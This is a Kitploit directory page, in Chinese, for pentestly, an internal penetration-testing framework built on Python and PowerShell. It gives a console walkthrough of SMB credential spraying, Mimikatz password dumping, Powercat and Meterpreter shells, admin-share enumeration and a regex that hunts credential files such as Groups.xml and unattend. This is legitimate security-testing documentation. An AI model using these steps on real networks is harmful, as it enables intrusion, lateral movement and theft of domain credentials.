Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pentestly — Python和Powershell内部渗透测试框架 | Kitploit
工具/GitHubGitHub/praetorian-inc/pentestly
渗透测试框架权限提升侦察密码攻击漏洞利用横向移动信息收集后渗透利用渗透测试命令与控制红队Archived
7211372110年前Kitploit 审核通过
GitHub
praetorian-inc/pentestly

pentestly

Python和Powershell内部渗透测试框架

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Pentestly

Pentestly 是一个结合了扩展 Python 工具,用于渗透测试的框架。其目标是利用熟悉的用户界面,同时借助 Python 的强大功能,让贡献框架变得简单。

博客文章:Pentestly 框架:当渗透测试遇上 Python 和 Powershell

作者:@ctfhacker / Cory Duplantis

演示

asciicast

当前功能

  • 导入 NMAP XML
  • 使用以下方式测试 SMB 认证:
    • 单个凭据
    • 包含凭据的文件
    • 空凭据
    • NTLM 哈希
  • 测试成功进行 SMB 认证的本地管理员权限
  • 识别有效凭据的可读 SMB 共享
  • 存储域/企业管理员账户名称
  • 确定正在运行的域管理员进程的位置
  • 确定已登录域管理员所在的系统
  • 在内存中执行 Powershell 命令并获取结果
  • 执行 Mimikatz 从内存中收集明文密码 (Invoke-Mimikatz.ps1)
  • 获取命令 shell (Powercat)
  • 获取 meterpreter 会话 (Invoke-Shellcode.ps1)

巨人的肩膀

Pentestly 站在巨人的肩膀上。以下是 Pentestly 目前使用的工具:

  • recon-ng - recon-ng 的后端数据库设计精美,并在 Pentestly 中被用于数据操作

  • wmiexec.py - 允许我们通过 WMI 快速轻松地执行 Powershell 命令

  • smbmap.py - 用于枚举 SMB 共享的有用工具

  • Invoke-Mimikatz.ps1 - 在 Powershell 中实现的 Mimikatz

  • powercat.ps1 - 在 Powershell 中实现的类 Netcat 功能

  • Invoke-Shellcode.ps1 - 在 Powershell 中部署 Meterpreter

  • CrackMapExec - Pentestly 中简单 Mimikatz 服务器的灵感来源

安装

git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

用法

让我们逐步了解当前实现的几个功能。

切换工作区

[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

从 nmap 加载

[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       nmap XML 输入的路径和文件名

[pentestly][project][nmap_xml] > run

测试登录

使用包含凭据的文件测试登录

[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

使用单个用户名和密码

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

在 IP 的子集上使用凭据 例如,在表中找到的 192.168.8.0/24 上

[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

收集域和企业管理员

[pentestly][project][login] > load get_domain # 注意模糊搜索 - get_domain 会找到 get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       输入来源(详见 'show info')

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

在具有执行权限的 IP 上运行 mimikatz

[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

显示本地管理员

[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

显示域管理员

[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

枚举共享

[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

显示新共享

[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

查找/下载感兴趣的文件

[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       用于在文件名中查找的正则表达式模式
    SOURCE   default                                                                                                                                    yes       输入来源(详见 'show info')

可以将 pattern 更改为更专门的内容

[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options
下载工具